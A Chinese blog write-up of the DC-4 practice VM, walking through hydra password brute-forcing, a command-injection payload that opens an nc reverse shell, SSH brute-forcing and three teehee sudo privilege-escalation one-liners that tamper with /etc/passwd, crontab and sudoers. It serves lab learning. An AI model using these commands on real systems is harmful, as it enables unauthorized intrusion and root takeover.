信息收集
同样得到ip地址192.168.1.11
,nmap扫描。
发现其开放了22和80端口,以及相对应的版本openSSH
和nginx
。
浏览器打开80端口,发现直接是管理员登录窗口,老规矩,dirsearch
一波
QAQ完,信息太少太少了,登录框也看不出来是什么CMS。那只能瞎猜了?
网站登录
弱口令跑一组username=admin&password=admin
得到burp的拦截内容,然后我们构造相应的hydra格式去爆破
1 | hydra -t 5 -l admin -P /usr/share/wordlists/rockyou.txt -f 192.168.1.11 http-post-form '/login.php:username=^USER^&password=^PASS^:S=logout' |
具体参数意义参考上一篇博文哦
!很快哇,惊喜就出来了(完,最近太太太依赖爆破密码这种玄学操作了QAQ)
利用跑到的密码登录web
是一个,,,嗯,,,怎么说呢,页面版的命令行界面,同样利用burp构造一些常用的Linux命令,发现respond验证了猜想,如图,传了man ping
的命令,回传了结果。
然后有一个思路了!!!nc反弹shell不就行了!我是链接
以前看到的文章有了用场了,之前也玩过nc在局域网中聊天XD
这里注意,要先在kali机上输入
1 | nc -lvvp 520 |
再在burp上构造
1 | radio=nc+192.168.1.10+520+-e+/bin/bash&submit=Run #这里burp将空格处理为+号 |
几次尝试之后,成了!
这个shell不好康,参考第一篇DC-1博文,转换成交互式shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
在找一下所有有x权限的命令结果列一下以待后用。
1 | find / -perm -u=s -type f 2>/dev/null |
同时,在/home中发现了三个用户,但只有jim用户有相关的文件信息,其中有一个密码本可以利用!
那接下来就是ssh爆破喽,hydra的ssh确实有点慢。。。但还是得到了其账号密码jim:jibril04
1 | hydra -l jim -P xxx.txt ssh://192.168.1.11 |
登录的时候出现了一点bug。。。ssh登录给我发了Host key verification failed的错误,查了点资料才找到原因,参考这个我是链接。这么严格是为了防止中间人攻击。
1 | ssh-keygen -f "/root/.ssh/known_hosts" -R "192.168.1.11" |
如上命令删除本地保存的信息,再登录。
本地提权
jim的有用信息,,估计就一个mbox。ok,这应该是封邮件,果然,在/var/mail
里发现了属于jim的一封邮件
直接告诉了我们另一个人的账户密码,那就换成他的壳charles:^xHhA&hvim0y
。用这个账户查看sudo权限配置。
出现了!上次是git这次是teehee。查找了一些teehee提权方式如下
第一种,直接添加root权限的无密码账户
1 | echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd |
第二种,定时任务执行脚本提权
1 | echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab |
时间部分全部填写为*,这样默认这个定时任务每分钟执行一次,可以根据情况自行设定。通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。
第三种,写入sudoers文件,使其可以root身份执行所有命令
1 | echo "charles ALL=(ALL:ALL) ALL" | sudo teehee -a /etc/sudoers |
这里我图方便用第一种,在/root路径下发现了flag
尾声
太依赖爆破啦!QAQ,挺希望能学到一些真正技术性的知识与技巧,比如thm的那个basic pentest
- 本文作者: Isabella
- 本文链接: https://username.github.io/2021/02/17/DC4靶机渗透记录/
- 版权声明: 本博客所有文章除特别声明外,均采用 MIT 许可协议。转载请注明出处!